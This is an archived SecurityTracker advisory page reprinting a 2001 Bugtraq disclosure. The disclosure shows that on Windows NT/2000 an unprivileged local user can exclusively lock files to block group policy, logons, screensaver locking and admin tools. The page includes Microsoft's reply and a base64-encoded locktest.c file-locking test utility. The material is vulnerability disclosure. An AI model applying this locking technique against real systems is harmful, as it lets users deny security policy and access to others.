SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   OS (Microsoft)  >   Windows NTFS Vendors:   Microsoft
Microsoft Windows Operating System File Locking Design May Allow Local Users to Block Group Policy Scripts
SecurityTracker Alert ID:  1002926
SecurityTracker URL:  http://securitytracker.com/id/1002926
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Dec 8 2001
Impact:   Denial of service via local system
Vendor Confirmed:  Yes  

Description:   SECURITY.NNOV reported a file locking denial of service vulnerability with the Microsoft Windows operating system. It is reported that a local user can lock certain important files to cause security policies and logon scripts to fail to run.

It is reported that if one Windows application places an exclusive lock on a file, no other application can access the file even if the other application does not want to lock the file. This is apparently in contrast to how other operating systems work (which is to only deny access to a locked file when another application attempts to lock the file).

It is reportedly possible for a local unprivileged user to stop security policies and logon scripts from running by locking policy files on domain controllers, to lock a screensaver file to prevent other users from locking the workstation, to deny an administrator access to administrative utilities and/or batch jobs, to deny user logons, and to deny access to shared programs and documents.

Impact:   A local user can place a lock on a critical file that may block certain group security policy scripts from executing.
Solution:   No solution was available at the time of this entry. Microsoft has reportedly confirmed some form of the issue and is proposing an audit notification solution. See the Source Message for more information.
Vendor URL:  www.microsoft.com/technet/security/ (Links to External Site)
Cause:   State error
Underlying OS:  Windows (NT), Windows (2000)

Message History:   This archive entry has one or more follow-up message(s) listed below.
(Microsoft Issues Fix) Microsoft Windows Operating System File Locking Design May Allow Local Users to Block Group Policy Scripts
The vendor has released a fix.



 Source Message Contents

Subject:  SECURITY.NNOV: file locking and security (group policy DoS on Windows 2000 domain)


------------DE1D2273D90DA90
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello bugtraq,

Topic                   : File locking and security
Author                  : 3APA3A <3APA3A@security.nnov.ru>
Affected software       : Windows NT 4.0, Windows 2000 and may be
                          another systems
Exploitable             : Yes
Remotely exploitable    : No
Category                : Design flow


Background:

Application  can  lock  the  file  after  file  description  is  open by
application  (or  in  open() call itself). Usually there are 2 modes for
locking  -  SHARED  and  EXCLUSIVE  locks.  Only one application can put
EXCLUSIVE lock on file. If file is locked exclusively no lock can be put
on  file by another process (we will not consider a case of parent/child
processes). The main problem of file locking is this mechanism (at least
on  tested  systems  -  *BSD,  Windows NT, Linux) doesn't check any file
permission  or  the  mode  the  file is open before locking. It makes it
possible  for  application  with read-only access to the file to lock it
exclusively.

The way file locks interfere with file access depends on OS. There are 2
possible  situations:  moderate  and  non-moderate  file locks. *BSD and
linux  use  non-moderate  locking, while Windows NT locking is moderate.
What  does it mean? Under Unix file locking is only checked then another
application  tries  to  lock  the  file. If application doesn't use file
locking  it  will  not be affected by file locking. Under Windows things
are  different.  If  one  application exclusively locks the file another
application  can't access this file even if it doesn't tries to lock the
file.  It should be treated as a design flow, because insecure in nature
mechanism  of  file  locking  interacts  with  secure  mechanism of file
access.

Resume:

Security  aware  application  should  correctly process the situation of
locked  file. Application should not rely on ability to lock (or in case
of Windows on ability to access) publicly readable files.

Problem:

Many  security-critical  mechanism  under  Windows (I am not aware about
Unix  ones,  but  it  doesn't mean that only Windows is affected) can be
DoS'ed by file locking.

Details:

For unprivileged user

1.  It's possible to stop security policies and logon scripts by locking
policy files on domain controllers
2.   It's   possible  to lock screensaver file to prevent workstation to
be locked by another user
3. It's possible to deny access to administrative utilities and/or batch
jobs from running by administrator or system
4. It's possible to deny another user's logon in many ways
5. It's possible to deny access to shared programs, documents, etc...
...

Workaround:

It's not a bug to be patched.

Vendor:

Microsoft  was  contacted on September, 7 2001. Last reply on this issue
was on October, 13.

-=-=- "Microsoft Security Response Center" <secure@microsoft.com> -=-=-

Wanted to get together and let you know what we've found out and the
plan moving forward.  You're right that it's possible for someone to
block group policy by locking a file.  We've considered quite a few
different options for preventing someone from putting a lock on the
file, but so far all of them would require fairly massive changes to the
system architecture, and we're very leery of making such drastic changes
via a patch.  

I'd like to propose a different solution, and see what your reaction
would be.  We currently have an auditing event that occurs when group
policy fails to be applied for any reason.  The description of the error
isn't as clear as it could be, and we'd propose making the error message
much more descriptive and useful to the administrator.  Also, we'd
propose that anytime group policy can't be applied, a pop-up would
appear on the client machine, describing the problem and instructing the
user to contact the system administrator.  Clearly, if an attacker saw
the error message, he wouldn't call the administrator -- but one of the
other users on the system would.  The administrator could then check the
error log, find out who had locked the file, and take appropriate action
against them.

-=-=-=-=-=-=-=-=-

Of  cause,  it's "security through obscurity", but I believe that's best
can be done in this situation.

Testing:

You   can   use   attached   locktest.c   (for   compiled   version  see
http://www.security.nnov.ru/files/locktest.exe)  to  test  file  locking
issues under Windows.

Try
locktest.exe READ NONE <filename>

(be  careful - during WRITE test locktest damages the file, test it only
on specially created files)

-- 
http://www.security.nnov.ru
         /\_/\
        { , . }     |\
+--oQQo->{ ^ }<-----+ \
|  ZARAZA  U  3APA3A   }
+-------------o66o--+ /
                    |/
You know my name - look up my number (The Beatles)
------------DE1D2273D90DA90
Content-Type: application/octet-stream; name="locktest.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="locktest.c"

LyoNCiAgICBsb2NrdGVzdC5jIC0gZmlsZSBsb2NraW5nIHRlc3QgdXRpbGl0eSBmb3IgV2luZG93
cw0KICAgIChjKSAzQVBBM0EgPDNBUEEzQUBzZWN1cml0eS5ubm92LnJ1Pg0KDQoqLw0KDQojaW5j
bHVkZSA8Y29uaW8uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHdpbmRvd3MuaD4N
CiNpbmNsdWRlIDxzdHJpbmcuaD4NCiNpbmNsdWRlIDxwcm9jZXNzLmg+DQpjaGFyKiBwcm9nbmFt
ZTsNCnZvaWQgdXNhZ2Uodm9pZCl7DQogIHByaW50ZigiVXNhZ2U6XG4gJXMgYWNjZXNzbW9kZSBz
aGFyZW1vZGUgZmlsZW5hbWVcbiBXaGVyZSBhY2Nlc3Ntb2RlIGlzIG9uZSBvZiBSRUFELCBXUklU
RSwgUkVBRFdSSVRFLCBOT05FXG4gc2hhcmVtb2RlIGlzIG9uZSBvZiBSRUFELCBXUklURSwgUkVB
RFdSSVRFIGFuZCBOT05FXG4iLCBwcm9nbmFtZSk7DQogIGV4aXQoLTEpOw0KfQ0Kdm9pZCBzaG93
cmVzdWx0KHZvaWQpew0KICBjaGFyIGJ1ZmZlclsyNTZdOyANCiAgRFdPUkQgbj1HZXRMYXN0RXJy
b3IoKTsNCiAgaWYoIW4pcHJpbnRmKCJQQVNTRURcbiIpOw0KICBlbHNlIHsNCiAgICBwcmludGYo
IkZBSUxFRDolZFxuIiwoaW50KW4pOw0KICAgIEZvcm1hdE1lc3NhZ2UoRk9STUFUX01FU1NBR0Vf
RlJPTV9TWVNURU0sIDAsIG4sIDAsIGJ1ZmZlciwgMjU2LCAwKTsNCiAgICBDaGFyVG9PZW0oYnVm
ZmVyLGJ1ZmZlcik7DQogICAgcHJpbnRmKCJTeXN0ZW0gZXJyb3IgdGV4dDogJXNcbiIsIGJ1ZmZl
cik7DQogIH0NCiAgU2V0TGFzdEVycm9yKDApOw0KfQ0KDQoNCg0KaW50IG1haW4gKGludCBhcmdj
LCBjaGFyICogYXJndltdKXsNCiAgRFdPUkQgYWNjZXNzbW9kZSwgc2hhcmVtb2RlOw0KICBIQU5E
TEUgZmlsZTsNCiAgY2hhciBidWZmZXJbNjRdOw0KICBEV09SRCBuYnl0ZXM7DQogIHByb2duYW1l
PWFyZ3ZbMF07DQogIGlmKGFyZ2MhPTQpdXNhZ2UoKTsNCiAgaWYoIXN0cmNtcChhcmd2WzFdLCAi
UkVBRCIpKWFjY2Vzc21vZGU9R0VORVJJQ19SRUFEOw0KICBlbHNlIGlmKCFzdHJjbXAoYXJndlsx
XSwgIldSSVRFIikpYWNjZXNzbW9kZT1HRU5FUklDX1dSSVRFOw0KICBlbHNlIGlmKCFzdHJjbXAo
YXJndlsxXSwgIlJFQURXUklURSIpKWFjY2Vzc21vZGU9R0VORVJJQ19XUklURXxHRU5FUklDX1JF
QUQ7DQogIGVsc2UgaWYoIXN0cmNtcChhcmd2WzFdLCAiTk9ORSIpKWFjY2Vzc21vZGU9MDsNCiAg
ZWxzZSB7cHJpbnRmKCIhYWNjZXNzbW9kZVxuIik7dXNhZ2UoKTt9DQogIGlmKCFzdHJjbXAoYXJn
dlsyXSwgIlJFQUQiKSlzaGFyZW1vZGU9RklMRV9TSEFSRV9SRUFEOw0KICBlbHNlIGlmKCFzdHJj
bXAoYXJndlsyXSwgIldSSVRFIikpc2hhcmVtb2RlPUZJTEVfU0hBUkVfV1JJVEU7DQogIGVsc2Ug
aWYoIXN0cmNtcChhcmd2WzJdLCAiTk9ORSIpKXNoYXJlbW9kZT0wOw0KICBlbHNlIGlmKCFzdHJj
bXAoYXJndlsyXSwgIlJFQURXUklURSIpKXNoYXJlbW9kZT1HRU5FUklDX1dSSVRFfEdFTkVSSUNf
UkVBRDsNCiAgZWxzZSB1c2FnZSgpOw0KICBwcmludGYoIk9wZW5pbmluZyAlcyBmb3IgJXMgd2l0
aCAlcyBzaGFyZS4uLiIsIGFyZ3ZbM10sIGFyZ3ZbMV0sIGFyZ3ZbMl0pOw0KICBmaWxlPUNyZWF0
ZUZpbGUoYXJndlszXSwgYWNjZXNzbW9kZSwgc2hhcmVtb2RlLCAwLCBPUEVOX0VYSVNUSU5HLCBG
SUxFX0FUVFJJQlVURV9OT1JNQUwsIDApOw0KICBzaG93cmVzdWx0KCk7DQogIGlmKGZpbGUhPUlO
VkFMSURfSEFORExFX1ZBTFVFKXsNCiAgICBpZihhY2Nlc3Ntb2RlJkdFTkVSSUNfUkVBRCl7DQog
ICAgICBwcmludGYoIlRlc3RpbmcgZm9yIHJlYWRpbmcuLi4iKTsNCiAgICAgIFJlYWRGaWxlKGZp
bGUsIGJ1ZmZlciwgMTYsICZuYnl0ZXMsIDApOw0KICAgICAgYnVmZmVyW25ieXRlc109MDsNCiAg
ICAgIHNob3dyZXN1bHQoKTsNCiAgICAgIHByaW50ZigiUmVkICVkIG9mIG1heCAxNiBieXRlczol
c1xuIiwgKGludCluYnl0ZXMsIGJ1ZmZlcik7DQogICAgfQ0KICAgIGlmKGFjY2Vzc21vZGUmR0VO
RVJJQ19XUklURSl7DQogICAgICBwcmludGYoIlRlc3RpbmcgZm9yIHdyaXRpbmcuLi4iKTsNCiAg
ICAgIFdyaXRlRmlsZShmaWxlLCAiMDEyMzQ1Njc4OWFiY2RlZiIsIDE2LCAmbmJ5dGVzLCAwKTsN
CiAgICAgIGJ1ZmZlcltuYnl0ZXNdPTA7DQogICAgICBzaG93cmVzdWx0KCk7DQogICAgICBwcmlu
dGYoIldyaXR0ZW4gJWQgb2YgMTYgYnl0ZXNcbiIsIChpbnQpbmJ5dGVzKTsNCiAgICB9DQogICAg
cHJpbnRmKCJQcmVzcyBhbnkga2V5Li4uXG4iKTsNCiAgICBnZXRjaCgpOw0KICAgIHByaW50Zigi
Q2xvc2luZyBmaWxlLi4uIik7DQogICAgQ2xvc2VIYW5kbGUoZmlsZSk7DQogICAgc2hvd3Jlc3Vs
dCgpOw0KICB9DQogIGVsc2UgcHJpbnRmKCJJbnZhbGlkIGZpbGUgaGFuZGxlIik7DQogIHJldHVy
biAwOw0KfQ0KDQoNCg0KIA0K

------------DE1D2273D90DA90--

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC